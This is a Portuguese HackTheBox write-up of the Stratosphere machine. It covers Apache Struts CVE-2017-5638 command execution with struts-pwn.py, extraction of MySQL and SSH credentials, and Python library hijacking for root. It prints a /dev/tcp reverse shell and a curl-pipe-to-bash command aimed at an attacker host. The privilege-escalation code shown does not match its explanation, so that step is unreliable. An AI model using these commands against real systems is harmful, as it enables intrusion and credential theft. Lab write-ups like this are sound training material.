> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md).

# Relato da máquina Stratosphere no HackTheBox

{% embed url="<https://app.hackthebox.com/machines/437>" %}

{% hint style="warning" %}
**Habilidades:**

* Exploração do Apache Struts (CVE-2017-5638)
* Sequestro de Biblioteca Python (Escalada de Privilégio)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/dee52f05672e09e25ac1b2d94114e9491ccbdd96" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/e9f320f56d323638584a5cb5ad551fb3d675ab8a" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.64 -oG allPorts
```

<figure><img src="/files/0f3e25828de95863dfe7846f8e2107ad547db783" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com ExtractPorts (**&#x32;2.80.808&#x30;**)**

Usando a função extractPorts para exibir as portas abertas de forma concisa e copiá-las para a área de transferência.

<figure><img src="/files/a9490665cc6e050accc194b2c304040fbad351d5" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap:**

Usando o Nmap para escanear a versão das portas e extrair informações no arquivo "targeted"

```bash
nmap -sCV -p22,80,8080 10.10.10.64 -oN targeted
```

<figure><img src="/files/8d0e5237f9dabddbf6edbca3d97ad85df9d801a0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f37fe0a61791095eb64a76430a26dcba7ef308b8" alt=""><figcaption></figcaption></figure>

### /*/Exploração de serviços web (Portas 80 e 8080) //*

As portas 80 e 8080 hospedam o mesmo site.

<figure><img src="/files/e6ee3ddb0ff53a808841f9be8ba154fe37db0640" alt=""><figcaption></figcaption></figure>

### Fuzzing com **Gobuster**

Executamos `Gobuster` para procurar diretórios interessantes

{% code overflow="wrap" %}

```bash
gobuster dir -u http://10.10.10.64/ -b 404,400 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

{% endcode %}

Descobrimos os seguintes caminhos:

* `/manager` - Interface do Tomcat Manager
* `/monitoring` - Seção de monitoramento

<figure><img src="/files/77b5ad340e443569f24119aa6e46a2bdf3c28464" alt=""><figcaption></figcaption></figure>

### Manager - Tomcat :

<figure><img src="/files/b73c1252fdb29aea0712d75a1327260461a18f4f" alt=""><figcaption></figcaption></figure>

### Monitoramento:

<figure><img src="/files/60ff6906c7fb331da8b870fdd58a5545d691aa9c" alt=""><figcaption></figcaption></figure>

## Exploração do Apache Struts (CVE-2017-5638)

#### **Exploração do Diretório de Monitoramento**

Ao tentar nos registrar, recebemos uma mensagem de erro. Também observamos uma extensão `.action`, indicando potencialmente uma aplicação baseada em Apache Struts

<figure><img src="/files/e09769780027145f1157e9e0ea631133479769af" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mazen160/struts-pwn>" %}

Usamos `struts-pwn.py` para testar execução remota de comandos:

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id'
```

O comando funciona, confirmando a vulnerabilidade.

<figure><img src="/files/31d77fcf201963027a760d9fdcd07b2af9c238f7" alt=""><figcaption></figcaption></figure>

#### **Shell reversa**

1. Escutando com Netcat:

```bash
nc -nvlp 443
```

2. Criando um `index.html` arquivo contendo nossa shell reversa:

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.69/443 0>&1
```

3. Hospedando o arquivo com um servidor web em Python:

```
python3 -m http.server 8080
```

4. Executar a shell reversa via exploit:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash'
```

{% endcode %}

Infelizmente, essa abordagem falha.

### **Extração de Informações Sensíveis**

Listamos os arquivos no servidor:

<figure><img src="/files/fb368dff4fd9c46414ac9c06e8a64e5728f672ab" alt=""><figcaption></figcaption></figure>

Descobrimos um `db_connect` arquivo. Ao enviá-lo, obtemos credenciais:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l'
```

{% endcode %}

<figure><img src="/files/629fe9c08eccb5038ac1e61d33890067bc2ca9b3" alt=""><figcaption></figcaption></figure>

As informações recuperadas das credenciais do mysql:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect'
```

{% endcode %}

* usuário: ssn/\_admin / admin
* senha=AWs64\@on/\*& / admin

<figure><img src="/files/f5b8060769bc2fa16296a008db87956fafcd1fb9" alt=""><figcaption></figcaption></figure>

### Informações de extração - mysqlshow

#### **Enumeração de bancos de dados**

Usamos `mysqlshow` para listar os bancos de dados acessíveis com o usuário `admin` explorando uma vulnerabilidade do Struts via `struts-pwn.py`:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin"
```

{% endcode %}

<figure><img src="/files/f340f0dd6eeee5888064be4d728cab32742ca632" alt=""><figcaption></figcaption></figure>

Isso nos permite identificar o banco de dados **users**.

#### **Resumo das tabelas**

Em seguida, listamos as tabelas da base **users**:

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users
```

{% endcode %}

<figure><img src="/files/c50724f0e850e8d9e7013b4b53d445cfa2e21c1d" alt=""><figcaption></figcaption></figure>

#### **Enumeração de colunas e extração de credenciais**

Agora listamos as colunas da tabela **accounts** e tentamos extrair seu conteúdo

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users accounts"
```

{% endcode %}

<figure><img src="/files/e6bfc82ea319d75140e3f9df7b405dce95e7f306" alt=""><figcaption></figcaption></figure>

Obtemos as seguintes informações:

* **Nome de usuário**: `richard`
* **Senha**: `9tc*rhKuG5TyXvUJOrE^5CK7k`

{% code overflow="wrap" %}

```bash
python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c 'mysql -u admin -padmin -e "Select * from accounts" users'
```

{% endcode %}

<figure><img src="/files/bf45f8e182ef39546aba11c9a1ec1187f5cc8cc8" alt=""><figcaption></figcaption></figure>

Usamos as informações encontradas para conectar via SSH na máquina alvo:

```bash
ssh richard@10.10.10.64
```

<figure><img src="/files/7702b36fbbe2e4ead7d193eafcceab1511c2b9e5" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="/files/aec041f7cf6f5333e6937c23f4c78ed7c0448430" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilégios

### Escalada de privilégio por sequestro de biblioteca Python

Primeiro, execute o seguinte comando para listar os `sudo` privilégios:

<figure><img src="/files/f13e8931bb0ed9f766b4bc96253c79bdec7361c5" alt=""><figcaption></figcaption></figure>

Observamos que temos permissão para executar um script Python como `root`:

```bash
(ALL) NOPASSWD: /usr/bin/python3.7 /home/richard/test.py
```

<figure><img src="/files/4cc2748fed0b5e16370f2cde1678061e1fca82ed" alt=""><figcaption></figcaption></figure>

Ao analisar o `/home/richard/test.py` script, observa-se que ele importa um módulo sem especificar seu caminho absoluto, por exemplo:

```
import os
os.system("bash")
```

Então executamos o script como `root`:

```bash
sudo /usr/bin/python3.7 /home/richard/test.py
```

* Assim que o script é iniciado, nossa versão maliciosa de `hashlib.py` é carregada, executando uma shell com `root` privilégios.

<figure><img src="/files/2845e21ec8a32b50d689ec3047a5d8d776d90210" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/98084ae598506d612d86106be367f949185f324b" alt="" width="546"><figcaption></figcaption></figure>

<figure><img src="/files/2f032361f8fba62051a7cdb5b768568504c0e456" alt="" width="375"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
